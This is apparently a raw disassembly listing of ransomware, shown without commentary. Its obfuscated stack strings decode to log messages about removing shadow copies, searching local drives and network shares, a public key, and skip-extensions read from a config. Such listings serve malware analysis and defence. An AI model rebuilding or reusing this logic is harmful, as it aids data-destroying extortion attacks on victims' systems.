add esi, 0x18
jmp 0x42ae50
mov dword [ebp - 0xb8], 0x5e
mov eax, dword [ebp - 0xb8]
xor al, 0x54
mov byte [ebp - 0xb4], al
mov eax, dword [ebp - 0xb8]
inc al
xor al, 0x72
mov byte [ebp - 0xb3], al
mov eax, dword [ebp - 0xb8]
add al, 2
xor al, 0x79
mov byte [ebp - 0xb2], al
mov eax, dword [ebp - 0xb8]
add al, 3
xor al, 0x69
mov byte [ebp - 0xb1], al
mov eax, dword [ebp - 0xb8]
add al, 4
xor al, 0x6e
mov byte [ebp - 0xb0], al
mov eax, dword [ebp - 0xb8]
add al, 5
xor al, 0x67
mov byte [ebp - 0xaf], al
mov eax, dword [ebp - 0xb8]
add al, 6
xor al, 0x20
mov byte [ebp - 0xae], al
mov eax, dword [ebp - 0xb8]
add al, 7
xor al, 0x74
mov byte [ebp - 0xad], al
mov eax, dword [ebp - 0xb8]
add al, 8
xor al, 0x6f
mov byte [ebp - 0xac], al
mov eax, dword [ebp - 0xb8]
add al, 9
xor al, 0x20
mov byte [ebp - 0xab], al
mov eax, dword [ebp - 0xb8]
add al, 0xa
xor al, 0x72
mov byte [ebp - 0xaa], al
mov eax, dword [ebp - 0xb8]
add al, 0xb
xor al, 0x65
mov byte [ebp - 0xa9], al
mov eax, dword [ebp - 0xb8]
add al, 0xc
xor al, 0x6d
mov byte [ebp - 0xa8], al
mov eax, dword [ebp - 0xb8]
add al, 0xd
xor al, 0x6f
mov byte [ebp - 0xa7], al
mov eax, dword [ebp - 0xb8]
add al, 0xe
xor al, 0x76
mov byte [ebp - 0xa6], al
mov eax, dword [ebp - 0xb8]
add al, 0xf
xor al, 0x65
mov byte [ebp - 0xa5], al
mov eax, dword [ebp - 0xb8]
add al, 0x10
xor al, 0x20
mov byte [ebp - 0xa4], al
mov eax, dword [ebp - 0xb8]
add al, 0x11
xor al, 0x73
mov byte [ebp - 0xa3], al
mov eax, dword [ebp - 0xb8]
add al, 0x12
xor al, 0x68
mov byte [ebp - 0xa2], al
mov eax, dword [ebp - 0xb8]
add al, 0x13
xor al, 0x61
mov byte [ebp - 0xa1], al
mov eax, dword [ebp - 0xb8]
add al, 0x14
xor al, 0x64
mov byte [ebp - 0xa0], al
mov eax, dword [ebp - 0xb8]
add al, 0x15
xor al, 0x6f
mov byte [ebp - 0x9f], al
mov eax, dword [ebp - 0xb8]
add al, 0x16
xor al, 0x77
mov byte [ebp - 0x9e], al
mov eax, dword [ebp - 0xb8]
add al, 0x17
xor al, 0x20
mov byte [ebp - 0x9d], al
mov eax, dword [ebp - 0xb8]
add al, 0x18
xor al, 0x63
mov byte [ebp - 0x9c], al
mov eax, dword [ebp - 0xb8]
add al, 0x19
xor al, 0x6f
mov byte [ebp - 0x9b], al
mov eax, dword [ebp - 0xb8]
add al, 0x1a
xor al, 0x70
mov byte [ebp - 0x9a], al
mov eax, dword [ebp - 0xb8]
add al, 0x1b
xor al, 0x69
mov byte [ebp - 0x99], al
mov eax, dword [ebp - 0xb8]
add al, 0x1c
xor al, 0x65
mov byte [ebp - 0x98], al
mov eax, dword [ebp - 0xb8]
add al, 0x1d
mov byte [ebp - 0x96], 0
xor al, 0x73
xor edx, edx
mov byte [ebp - 0x97], al
mov al, byte [ebp - 0xb4]
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + edx - 0xb4]
mov ecx, dword [ebp - 0xb8]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0xb4], cl
inc edx
cmp edx, 0x1e
jb 0x42b070
lea eax, [ebp - 0xb4]
mov byte [ebp - 0x96], 0
mov dword [ebp - 0x1008], eax
call fcn.00425d60
lea ecx, [ebp - 0x1008]
push ecx
push 2
mov ecx, dword [eax + 0x114]
call fcn.00409aa0
call fcn.0046e280
mov dword [ebp - 0x114], 0x19
mov eax, dword [ebp - 0x114]
xor al, 0x53
mov byte [ebp - 0x110], al
mov eax, dword [ebp - 0x114]
inc al
xor al, 0x68
mov byte [ebp - 0x10f], al
mov eax, dword [ebp - 0x114]
add al, 2
xor al, 0x61
mov byte [ebp - 0x10e], al
mov eax, dword [ebp - 0x114]
add al, 3
xor al, 0x64
mov byte [ebp - 0x10d], al
mov eax, dword [ebp - 0x114]
add al, 4
xor al, 0x6f
mov byte [ebp - 0x10c], al
mov eax, dword [ebp - 0x114]
add al, 5
xor al, 0x77
mov byte [ebp - 0x10b], al
mov eax, dword [ebp - 0x114]
add al, 6
xor al, 0x20
mov byte [ebp - 0x10a], al
mov eax, dword [ebp - 0x114]
add al, 7
xor al, 0x63
mov byte [ebp - 0x109], al
mov eax, dword [ebp - 0x114]
add al, 8
xor al, 0x6f
mov byte [ebp - 0x108], al
mov eax, dword [ebp - 0x114]
add al, 9
xor al, 0x70
mov byte [ebp - 0x107], al
mov eax, dword [ebp - 0x114]
add al, 0xa
xor al, 0x69
mov byte [ebp - 0x106], al
mov eax, dword [ebp - 0x114]
add al, 0xb
xor al, 0x65
mov byte [ebp - 0x105], al
mov eax, dword [ebp - 0x114]
add al, 0xc
xor al, 0x73
mov byte [ebp - 0x104], al
mov eax, dword [ebp - 0x114]
add al, 0xd
xor al, 0x20
mov byte [ebp - 0x103], al
mov eax, dword [ebp - 0x114]
add al, 0xe
xor al, 0x70
mov byte [ebp - 0x102], al
mov eax, dword [ebp - 0x114]
add al, 0xf
xor al, 0x72
mov byte [ebp - 0x101], al
mov eax, dword [ebp - 0x114]
add al, 0x10
xor al, 0x6f
mov byte [ebp - 0x100], al
mov eax, dword [ebp - 0x114]
add al, 0x11
xor al, 0x63
mov byte [ebp - 0xff], al
mov eax, dword [ebp - 0x114]
add al, 0x12
xor al, 0x65
mov byte [ebp - 0xfe], al
mov eax, dword [ebp - 0x114]
add al, 0x13
xor al, 0x73
mov byte [ebp - 0xfd], al
mov eax, dword [ebp - 0x114]
add al, 0x14
xor al, 0x73
mov byte [ebp - 0xfc], al
mov eax, dword [ebp - 0x114]
add al, 0x15
xor al, 0x69
mov byte [ebp - 0xfb], al
mov eax, dword [ebp - 0x114]
add al, 0x16
xor al, 0x6e
mov byte [ebp - 0xfa], al
mov eax, dword [ebp - 0x114]
add al, 0x17
xor al, 0x67
mov byte [ebp - 0xf9], al
mov eax, dword [ebp - 0x114]
add al, 0x18
xor al, 0x20
mov byte [ebp - 0xf8], al
mov eax, dword [ebp - 0x114]
add al, 0x19
xor al, 0x66
mov byte [ebp - 0xf7], al
mov eax, dword [ebp - 0x114]
add al, 0x1a
xor al, 0x69
mov byte [ebp - 0xf6], al
mov eax, dword [ebp - 0x114]
add al, 0x1b
xor al, 0x6e
mov byte [ebp - 0xf5], al
mov eax, dword [ebp - 0x114]
add al, 0x1c
xor al, 0x69
mov byte [ebp - 0xf4], al
mov eax, dword [ebp - 0x114]
add al, 0x1d
xor al, 0x73
mov byte [ebp - 0xf3], al
mov eax, dword [ebp - 0x114]
add al, 0x1e
xor al, 0x68
mov byte [ebp - 0xf2], al
mov eax, dword [ebp - 0x114]
add al, 0x1f
xor al, 0x65
mov byte [ebp - 0xf1], al
mov eax, dword [ebp - 0x114]
add al, 0x20
mov byte [ebp - 0xef], 0
xor al, 0x64
xor edx, edx
mov byte [ebp - 0xf0], al
mov al, byte [ebp - 0x110]
nop word [eax + eax]
mov al, byte [ebp + edx - 0x110]
mov ecx, dword [ebp - 0x114]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x110], cl
inc edx
cmp edx, 0x21
jb 0x42b2f0
lea eax, [ebp - 0x110]
mov byte [ebp - 0xef], 0
mov dword [ebp - 0x1004], eax
call fcn.00425d60
lea ecx, [ebp - 0x1004]
push ecx
push 2
mov ecx, dword [eax + 0x114]
call fcn.00409aa0
lea ecx, [ebp - 0x1150]
call fcn.00419060
lea ecx, [ebp - 0x115c]
mov byte [ebp - 4], 0x1b
call fcn.00419060
push 0x28
mov dword [ebp - 0xf70], 0
mov dword [ebp - 0xf6c], 0
call fcn.0048aa51
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0xf70], eax
push 4
mov byte [ebp - 4], 0x27
lea esi, [ebp - 0xf70]
call fcn.0048aa51
add esp, 4
test eax, eax
je 0x42b3a2
mov dword [eax], esi
jmp 0x42b3a4
xor eax, eax
mov dword [ebp - 0xfd8], eax
lea ecx, [ebp - 0xf94]
mov byte [ebp - 4], 0x28
push ecx
push 0
push eax
push 0x402770
push 0
push 0
call fcn.00494008
add esp, 0x18
mov dword [ebp - 0xf98], eax
test eax, eax
je 0x42ebf7
mov dword [ebp - 0xfd8], 0
mov byte [ebp - 0x25c], 0x58
xor ecx, ecx
mov byte [ebp - 0x25b], 0x79
mov byte [ebp - 0x25a], 0x66
mov byte [ebp - 0x259], 0x77
mov byte [ebp - 0x258], 0x79
mov byte [ebp - 0x257], 0x6e
mov byte [ebp - 0x256], 0x73
mov byte [ebp - 0x255], 0x6c
mov byte [ebp - 0x254], 0x25
mov byte [ebp - 0x253], 0x71
mov byte [ebp - 0x252], 0x74
mov byte [ebp - 0x251], 0x68
mov byte [ebp - 0x250], 0x66
mov byte [ebp - 0x24f], 0x71
mov byte [ebp - 0x24e], 0x25
mov byte [ebp - 0x24d], 0x69
mov byte [ebp - 0x24c], 0x77
mov byte [ebp - 0x24b], 0x6e
mov byte [ebp - 0x24a], 0x7b
mov byte [ebp - 0x249], 0x6a
mov byte [ebp - 0x248], 0x78
mov byte [ebp - 0x247], 0x25
mov byte [ebp - 0x246], 0x78
mov byte [ebp - 0x245], 0x6a
mov byte [ebp - 0x244], 0x66
mov byte [ebp - 0x243], 0x77
mov byte [ebp - 0x242], 0x68
mov byte [ebp - 0x241], 0x6d
mov byte [ebp - 0x240], 0
mov al, byte [ebp - 0x25c]
mov byte [ebp - 4], 0x29
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x25c]
sub al, 5
mov byte [ebp + ecx - 0x25c], al
inc ecx
cmp ecx, 0x1c
jb 0x42b4c0
lea eax, [ebp - 0x25c]
mov dword [ebp - 0x1048], eax
call fcn.00425d60
lea ecx, [ebp - 0x1048]
push ecx
push 2
mov ecx, dword [eax + 0x114]
call fcn.00409aa0
lea eax, [ebp - 0xf64]
push eax
call fcn.0044cf80
add esp, 4
mov dword [ebp - 0x4e8], 6
xor edx, edx
mov byte [ebp - 0x4e4], 0x40
mov byte [ebp - 0x4e3], 0x6f
mov byte [ebp - 0x4e2], 0x68
mov byte [ebp - 0x4e1], 0x6f
mov byte [ebp - 0x4e0], 0x75
mov byte [ebp - 0x4df], 0x6e
mov byte [ebp - 0x4de], 0x6f
mov byte [ebp - 0x4dd], 0x68
mov byte [ebp - 0x4dc], 0x61
mov byte [ebp - 0x4db], 0x26
mov byte [ebp - 0x4da], 0x6a
mov byte [ebp - 0x4d9], 0x69
mov byte [ebp - 0x4d8], 0x65
mov byte [ebp - 0x4d7], 0x67
mov byte [ebp - 0x4d6], 0x6a
mov byte [ebp - 0x4d5], 0x26
mov byte [ebp - 0x4d4], 0x62
mov byte [ebp - 0x4d3], 0x74
mov byte [ebp - 0x4d2], 0x6f
mov byte [ebp - 0x4d1], 0x70
mov byte [ebp - 0x4d0], 0x63
mov byte [ebp - 0x4cf], 0x75
mov byte [ebp - 0x4ce], 0x26
mov byte [ebp - 0x4cd], 0x75
mov byte [ebp - 0x4cc], 0x63
mov byte [ebp - 0x4cb], 0x67
mov byte [ebp - 0x4ca], 0x74
mov byte [ebp - 0x4c9], 0x65
mov byte [ebp - 0x4c8], 0x6e
mov al, byte [ebp - 0x4e4]
mov byte [ebp - 4], 0x2a
mov byte [ebp - 0x4c7], 0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + edx - 0x4e4]
mov ecx, dword [ebp - 0x4e8]
xor cl, al
mov byte [ebp + edx - 0x4e4], cl
inc edx
cmp edx, 0x1d
jb 0x42b600
lea eax, [ebp - 0x4e4]
mov byte [ebp - 0x4c7], 0
mov dword [ebp - 0xfd4], eax
call fcn.00425d60
lea ecx, [ebp - 0xfd4]
push ecx
push 2
mov ecx, dword [eax + 0x114]
call fcn.00409aa0
call fcn.00464f60
lea ecx, [ebp - 0xa34]
push ecx
mov ecx, eax
call fcn.00464f80
mov dword [ebp - 0x208], 0xb
xor edx, edx
mov byte [ebp - 0x204], 0x5b
mov byte [ebp - 0x203], 0x7e
mov byte [ebp - 0x202], 0x69
mov byte [ebp - 0x201], 0x67
mov byte [ebp - 0x200], 0x62
mov byte [ebp - 0x1ff], 0x68
mov byte [ebp - 0x1fe], 0x2b
mov byte [ebp - 0x1fd], 0x60
mov byte [ebp - 0x1fc], 0x6e
mov byte [ebp - 0x1fb], 0x72
mov byte [ebp - 0x1fa], 0x31
mov al, byte [ebp - 0x204]
mov byte [ebp - 4], 0x2b
mov byte [ebp - 0x1f9], 0
nop word [eax + eax]
mov al, byte [ebp + edx - 0x204]
mov ecx, dword [ebp - 0x208]
xor cl, al
mov byte [ebp + edx - 0x204], cl
inc edx
cmp edx, 0xb
jb 0x42b6d0
lea eax, [ebp - 0x204]
mov byte [ebp - 0x1f9], 0
mov dword [ebp - 0xfd0], eax
mov dword [ebp - 0x11e0], str.0_1
mov dword [ebp - 0x11dc], 7
call fcn.00425d60
mov ecx, eax
mov dword [ebp - 0x10e4], 0
lea eax, [ebp - 0xa34]
mov dword [ebp - 0x10e0], 0
movq xmm0, qword [ebp - 0x10e4]
xor edx, edx
push eax
mov ecx, dword [ecx + 0x114]
lea eax, [ebp - 0xfd0]
push eax
push 7
push str.0_1
push 2
sub esp, 0xc
mov dword [ebp - 0x10dc], edx
mov eax, esp
movq qword [eax], xmm0
mov dword [eax + 8], edx
call fcn.00409fe0
call fcn.00464f60
lea ecx, [ebp - 0xff4]
push ecx
mov ecx, eax
call fcn.00464e00
mov byte [ebp - 0x3d8], 0x4e
mov byte [ebp - 0x3d7], 0x77
mov byte [ebp - 0x3d6], 0x7e
mov byte [ebp - 0x3d5], 0x76
mov byte [ebp - 0x3d4], 0x6e
mov byte [ebp - 0x3d3], 0x7b
mov byte [ebp - 0x3d2], 0x6a
mov byte [ebp - 0x3d1], 0x7d
mov byte [ebp - 0x3d0], 0x72
mov byte [ebp - 0x3cf], 0x77
mov byte [ebp - 0x3ce], 0x70
mov byte [ebp - 0x3cd], 0x29
mov byte [ebp - 0x3cc], 0x7d
mov byte [ebp - 0x3cb], 0x71
mov byte [ebp - 0x3ca], 0x6e
mov byte [ebp - 0x3c9], 0x29
mov byte [ebp - 0x3c8], 0x6e
mov byte [ebp - 0x3c7], 0x81
mov byte [ebp - 0x3c6], 0x7d
mov byte [ebp - 0x3c5], 0x6e
mov byte [ebp - 0x3c4], 0x77
mov byte [ebp - 0x3c3], 0x7c
mov byte [ebp - 0x3c2], 0x72
mov byte [ebp - 0x3c1], 0x78
mov byte [ebp - 0x3c0], 0x77
mov byte [ebp - 0x3bf], 0x7c
mov byte [ebp - 0x3be], 0x29
mov byte [ebp - 0x3bd], 0x7d
mov byte [ebp - 0x3bc], 0x78
mov byte [ebp - 0x3bb], 0x29
mov byte [ebp - 0x3ba], 0x7c
mov byte [ebp - 0x3b9], 0x74
mov byte [ebp - 0x3b8], 0x72
mov byte [ebp - 0x3b7], 0x79
mov byte [ebp - 0x3b6], 0x29
mov byte [ebp - 0x3b5], 0x7d
mov byte [ebp - 0x3b4], 0x71
mov byte [ebp - 0x3b3], 0x6a
mov byte [ebp - 0x3b2], 0x7d
mov byte [ebp - 0x3b1], 0x29
mov byte [ebp - 0x3b0], 0x80
mov byte [ebp - 0x3af], 0x6e
mov byte [ebp - 0x3ae], 0x7b
mov byte [ebp - 0x3ad], 0x6e
mov byte [ebp - 0x3ac], 0x29
mov byte [ebp - 0x3ab], 0x6e
mov byte [ebp - 0x3aa], 0x81
mov byte [ebp - 0x3a9], 0x7d
mov byte [ebp - 4], 0x2c
mov byte [ebp - 0x3a8], 0x7b
mov byte [ebp - 0x3a7], 0x6a
xor ecx, ecx
mov byte [ebp - 0x3a6], 0x6c
mov byte [ebp - 0x3a5], 0x7d
mov byte [ebp - 0x3a4], 0x6e
mov byte [ebp - 0x3a3], 0x6d
mov byte [ebp - 0x3a2], 0x29
mov byte [ebp - 0x3a1], 0x6f
mov byte [ebp - 0x3a0], 0x7b
mov byte [ebp - 0x39f], 0x78
mov byte [ebp - 0x39e], 0x76
mov byte [ebp - 0x39d], 0x29
mov byte [ebp - 0x39c], 0x6c
mov byte [ebp - 0x39b], 0x78
mov byte [ebp - 0x39a], 0x77
mov byte [ebp - 0x399], 0x6f
mov byte [ebp - 0x398], 0x72
mov byte [ebp - 0x397], 0x70
mov byte [ebp - 0x396], 0x43
mov byte [ebp - 0x395], 0
mov al, byte [ebp - 0x3d8]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x3d8]
sub al, 9
mov byte [ebp + ecx - 0x3d8], al
inc ecx
cmp ecx, 0x43
jb 0x42b970
lea eax, [ebp - 0x3d8]
mov dword [ebp - 0xfcc], eax
call fcn.00425d60
lea ecx, [ebp - 0xfcc]
push ecx
push 2
mov ecx, dword [eax + 0x114]
call fcn.00409aa0
mov eax, dword [ebp - 0xff0]
mov esi, dword [ebp - 0xff4]
mov dword [ebp - 0xf0c], eax
nop dword [eax]
cmp esi, eax
je 0x42b9d8
push esi
call fcn.004098c0
mov eax, dword [ebp - 0xf0c]
add esp, 4
add esi, 0x18
jmp 0x42b9c0
call fcn.00464f60
lea ecx, [ebp - 0xa64]
push ecx
mov ecx, eax
call fcn.00464f40
lea eax, [ebp - 0xa64]
mov byte [ebp - 4], 0x2d
push eax
lea eax, [ebp - 0x1168]
push eax
call fcn.0046dcf0
add esp, 8
mov byte [ebp - 4], 0x2e
call fcn.00464f60
lea ecx, [ebp - 0x1120]
push ecx
mov ecx, eax
call fcn.00464d80
mov eax, dword [ebp - 0x1120]
mov ecx, dword [ebp - 0x111c]
mov byte [ebp - 4], 0x2f
cmp eax, ecx
je 0x42ba51
push dword [ebp - 0xf68]
mov byte [ebp - 0xf48], 0
push ecx
push eax
lea ecx, [ebp - 0xf64]
mov byte [ebp - 0xf49], 0
call fcn.00401810
mov eax, dword [edi]
mov ecx, dword [edi + 4]
cmp eax, ecx
je 0x42ba81
lea edx, [ebp - 0xf64]
cmp edx, edi
je 0x42ba81
push dword [ebp - 0xf68]
mov byte [ebp - 0xf4a], 0
push ecx
push eax
mov ecx, edx
mov byte [ebp - 0xf4b], 0
call fcn.00401810
mov ecx, dword [ebp - 0xf60]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xf64]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
xor ecx, ecx
mov dword [ebp - 0xfc8], eax
mov byte [ebp - 0x314], 0x4c
mov byte [ebp - 0x313], 0x7e
mov byte [ebp - 0x312], 0x7b
mov byte [ebp - 0x311], 0x7b
mov byte [ebp - 0x310], 0x6e
mov byte [ebp - 0x30f], 0x77
mov byte [ebp - 0x30e], 0x7d
mov byte [ebp - 0x30d], 0x29
mov byte [ebp - 0x30c], 0x77
mov byte [ebp - 0x30b], 0x7e
mov byte [ebp - 0x30a], 0x76
mov byte [ebp - 0x309], 0x6b
mov byte [ebp - 0x308], 0x6e
mov byte [ebp - 0x307], 0x7b
mov byte [ebp - 0x306], 0x29
mov byte [ebp - 0x305], 0x78
mov byte [ebp - 0x304], 0x6f
mov byte [ebp - 0x303], 0x29
mov byte [ebp - 0x302], 0x6d
mov byte [ebp - 0x301], 0x7b
mov byte [ebp - 0x300], 0x72
mov byte [ebp - 0x2ff], 0x7f
mov byte [ebp - 0x2fe], 0x6e
mov byte [ebp - 0x2fd], 0x7c
mov byte [ebp - 0x2fc], 0x29
mov byte [ebp - 0x2fb], 0x7d
mov byte [ebp - 0x2fa], 0x78
mov byte [ebp - 0x2f9], 0x29
mov byte [ebp - 0x2f8], 0x6b
mov byte [ebp - 0x2f7], 0x6e
mov byte [ebp - 0x2f6], 0x29
mov byte [ebp - 0x2f5], 0x79
mov byte [ebp - 0x2f4], 0x7b
mov byte [ebp - 0x2f3], 0x78
mov byte [ebp - 0x2f2], 0x6c
mov byte [ebp - 0x2f1], 0x6e
mov byte [ebp - 0x2f0], 0x7c
mov byte [ebp - 0x2ef], 0x7c
mov byte [ebp - 0x2ee], 0x6e
mov byte [ebp - 0x2ed], 0x6d
mov byte [ebp - 0x2ec], 0x43
mov byte [ebp - 0x2eb], 0
mov al, byte [ebp - 0x314]
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x314]
sub al, 9
mov byte [ebp + ecx - 0x314], al
inc ecx
cmp ecx, 0x29
jb 0x42bbe0
lea eax, [ebp - 0x314]
mov dword [ebp - 0x11d8], str.0_1
mov dword [ebp - 0xfc4], eax
mov dword [ebp - 0x11d4], 7
call fcn.00425d60
mov ecx, eax
mov dword [ebp - 0x10f0], 0
lea eax, [ebp - 0xfc8]
mov dword [ebp - 0x10ec], 0
movq xmm0, qword [ebp - 0x10f0]
xor edx, edx
push eax
mov ecx, dword [ecx + 0x114]
lea eax, [ebp - 0xfc4]
push eax
push 7
push str.0_1
push 2
sub esp, 0xc
mov dword [ebp - 0x10e8], edx
mov eax, esp
movq qword [eax], xmm0
mov dword [eax + 8], edx
call fcn.0040a600
mov eax, dword [ebp - 0xf60]
mov esi, dword [ebp - 0xf64]
mov dword [ebp - 0xf0c], eax
cmp esi, eax
je 0x42bc99
push esi
call fcn.004098c0
mov eax, dword [ebp - 0xf0c]
add esp, 4
add esi, 0x18
jmp 0x42bc81
mov eax, dword [ebp - 0xf60]
mov esi, dword [ebp - 0xf64]
mov dword [ebp - 0xf0c], eax
nop dword [eax + eax]
cmp esi, eax
je 0x42bd46
call fcn.00473e53
mov dword [ebp - 0x9f8], 0
mov dword [ebp - 0x9e8], 0
mov dword [ebp - 0x9e4], 0xf
mov byte [ebp - 0x9f8], 0
push eax
lea eax, [ebp - 0x9f8]
mov byte [ebp - 4], 0x30
push eax
lea eax, [ebp - 0x1168]
push eax
lea eax, [ebp - 0xa34]
push eax
lea eax, [ebp - 0xff4]
push eax
push esi
lea ecx, [ebp - 0xf00]
call fcn.00452bf0
lea ecx, [ebp - 0x9f8]
mov byte [ebp - 4], 0x32
call fcn.00418ba0
lea ecx, [ebp - 0xf00]
call fcn.00459820
lea ecx, [ebp - 0xf00]
mov byte [ebp - 4], 0x2f
call fcn.00419160
mov eax, dword [ebp - 0xf0c]
add esi, 0x18
jmp 0x42bcb0
lea ecx, [ebp - 0xf98]
call fcn.00425ec0
mov dword [ebp - 0x2c0], 0x50
xor edx, edx
mov byte [ebp - 0x2bc], 0x16
mov byte [ebp - 0x2bb], 0x39
mov byte [ebp - 0x2ba], 0x3e
mov byte [ebp - 0x2b9], 0x39
mov byte [ebp - 0x2b8], 0x23
mov byte [ebp - 0x2b7], 0x38
mov byte [ebp - 0x2b6], 0x39
mov byte [ebp - 0x2b5], 0x3e
mov byte [ebp - 0x2b4], 0x37
mov byte [ebp - 0x2b3], 0x70
mov byte [ebp - 0x2b2], 0x23
mov byte [ebp - 0x2b1], 0x38
mov byte [ebp - 0x2b0], 0x31
mov byte [ebp - 0x2af], 0x22
mov byte [ebp - 0x2ae], 0x35
mov byte [ebp - 0x2ad], 0x23
mov byte [ebp - 0x2ac], 0x70
mov byte [ebp - 0x2ab], 0x23
mov byte [ebp - 0x2aa], 0x35
mov byte [ebp - 0x2a9], 0x31
mov byte [ebp - 0x2a8], 0x22
mov byte [ebp - 0x2a7], 0x33
mov byte [ebp - 0x2a6], 0x38
mov al, byte [ebp - 0x2bc]
mov byte [ebp - 0x2a5], 0
nop dword [eax + eax]
mov al, byte [ebp + edx - 0x2bc]
mov ecx, dword [ebp - 0x2c0]
xor cl, al
mov byte [ebp + edx - 0x2bc], cl
inc edx
cmp edx, 0x17
jb 0x42be10
lea eax, [ebp - 0x2bc]
mov byte [ebp - 0x2a5], 0
mov dword [ebp - 0x109c], eax
call fcn.00425d60
lea ecx, [ebp - 0x109c]
push ecx
push 2
mov ecx, dword [eax + 0x114]
call fcn.00409aa0
mov eax, dword [edi]
cmp eax, dword [edi + 4]
jne 0x42e76f
call fcn.00464f60
lea ecx, [ebp - 0xf90]
push ecx
mov ecx, eax
call fcn.00464dc0
mov byte [ebp - 4], 0x33
call fcn.00464f60
lea ecx, [ebp - 0xfe8]
push ecx
mov ecx, eax
call fcn.00464de0
mov dword [ebp - 0xf84], 0
mov dword [ebp - 0xf80], 0
mov dword [ebp - 0xf7c], 0
mov eax, dword [ebp - 0xf70]
lea edi, [ebp - 0xf84]
mov byte [ebp - 4], 0x35
mov dword [ebp - 0xf08], eax
mov byte [ebp - 0xf4c], 0
mov esi, dword [eax]
nop word [eax + eax]
cmp esi, eax
je 0x42bf44
mov eax, dword [edi + 4]
lea ecx, [esi + 0x10]
push ecx
cmp eax, dword [edi + 8]
je 0x42beed
mov ecx, eax
call fcn.00416c70
add dword [edi + 4], 0x18
jmp 0x42bef5
push eax
mov ecx, edi
call fcn.00402020
mov eax, dword [esi + 8]
cmp byte [eax + 0xd], 0
je 0x42bf21
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x42bf17
cmp esi, dword [eax + 8]
jne 0x42bf17
mov esi, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0xd], 0
je 0x42bf07
mov esi, eax
mov eax, dword [ebp - 0xf08]
jmp 0x42bed0
mov esi, eax
mov ecx, dword [esi]
cmp byte [ecx + 0xd], 0
jne 0x42bf3c
nop dword [eax + eax]
mov eax, dword [ecx]
mov esi, ecx
mov ecx, eax
cmp byte [eax + 0xd], 0
je 0x42bf30
mov eax, dword [ebp - 0xf08]
jmp 0x42bed0
lea eax, [ebp - 0xf84]
push eax
lea eax, [ebp - 0xfe8]
push eax
lea eax, [ebp - 0xf90]
push eax
lea ecx, [ebp - 0x1234]
call fcn.0044b310
mov eax, dword [ebp - 0xf84]
mov dword [ebp - 0xf10], eax
mov eax, dword [ebp - 0xf80]
mov byte [ebp - 4], 0x36
mov dword [ebp - 0xf74], eax
mov esi, dword [ebp - 0xf10]
mov eax, 0x71
lea edx, [eax + 7]
cmp esi, dword [ebp - 0xf74]
je 0x42e729
mov ecx, 0x57
mov dword [ebp - 0xf0c], esi
mov word [ebp - 0x840], cx
mov esi, 0x6b
mov word [ebp - 0x83e], dx
mov ecx, 0x65
mov word [ebp - 0x83c], cx
mov edi, 0x24
mov ecx, 0x76
mov dword [ebp - 0xf08], eax
mov word [ebp - 0x83a], cx
mov eax, 0x76
mov word [ebp - 0x838], dx
mov ecx, 0x6d
mov word [ebp - 0x836], cx
mov ecx, 0x72
mov word [ebp - 0x834], cx
mov word [ebp - 0x832], si
mov esi, 0x73
mov word [ebp - 0x830], di
mov word [ebp - 0x82e], dx
mov word [ebp - 0x82c], si
mov word [ebp - 0x82a], di
mov edi, 0x74
mov word [ebp - 0x828], di
mov edi, 0x76
mov word [ebp - 0x826], di
mov edi, 0x67
mov word [ebp - 0x824], si
mov word [ebp - 0x822], di
mov edi, 0x69
mov word [ebp - 0x820], di
mov edi, 0x77
mov word [ebp - 0x81e], di
mov word [ebp - 0x81c], di
mov edi, 0x24
mov word [ebp - 0x81a], di
mov word [ebp - 0x818], ax
mov eax, dword [ebp - 0xf08]
mov dword [ebp - 0xf08], eax
mov eax, 0x69
mov word [ebp - 0x816], ax
mov eax, dword [ebp - 0xf08]
mov word [ebp - 0x814], ax
mov word [ebp - 0x812], si
mov word [ebp - 0x810], dx
mov edx, 0x69
mov word [ebp - 0x80e], dx
mov word [ebp - 0x80c], di
lea edi, [esi - 0x47]
mov word [ebp - 0x80a], ax
mov eax, 0x65
mov word [ebp - 0x808], ax
mov eax, 0x67
mov word [ebp - 0x806], ax
mov eax, 0x6c
mov word [ebp - 0x804], ax
mov eax, 0x6d
mov word [ebp - 0x802], ax
xor eax, eax
mov word [ebp - 0x800], cx
xor ecx, ecx
mov word [ebp - 0x7fe], dx
mov word [ebp - 0x7fc], ax
mov ax, word [ebp - 0x840]
mov ax, word [ebp + ecx*2 - 0x840]
sub ax, 4
mov word [ebp + ecx*2 - 0x840], ax
inc ecx
cmp ecx, 0x22
jb 0x42c124
lea eax, [ebp - 0x840]
mov dword [ebp - 0x11e8], 0x4b99bc
mov dword [ebp - 0x1098], eax
mov dword [ebp - 0x11e4], 7
call fcn.00425d60
mov esi, dword [ebp - 0xf10]
mov ecx, eax
push esi
lea eax, [ebp - 0x1098]
mov dword [ebp - 0x10fc], 0
push eax
mov ecx, dword [ecx + 0x114]
xor edx, edx
push 7
push 0x4b99bc
push 2
sub esp, 0xc
mov dword [ebp - 0x10f8], 0
movq xmm0, qword [ebp - 0x10fc]
mov eax, esp
mov dword [ebp - 0x10f4], edx
movq qword [eax], xmm0
mov dword [eax + 8], edx
call fcn.0040ac00
mov dword [ebp - 0x70c], 0
mov dword [ebp - 0x6fc], 0
mov dword [ebp - 0x6f8], 0
cmp dword [esi + 0x14], 8
mov eax, dword [esi + 0x10]
mov dword [ebp - 0xf08], eax
jb 0x42c1e6
mov esi, dword [esi]
cmp eax, 8
jae 0x42c201
movups xmm0, xmmword [esi]
mov dword [ebp - 0x6f8], 7
movups xmmword [ebp - 0x70c], xmm0
jmp 0x42c252
mov edi, eax
lea ecx, [ebp - 0x70c]
or edi, 7
mov eax, SysReAllocString
cmp edi, 0x7ffffffe
cmova edi, eax
lea eax, [edi + 1]
push eax
call fcn.0041e630
mov ecx, dword [ebp - 0xf08]
mov dword [ebp - 0x70c], eax
lea ecx, [ecx*2 + 2]
push ecx
push esi
push eax
call fcn.0048c760
mov eax, dword [ebp - 0xf08]
add esp, 0xc
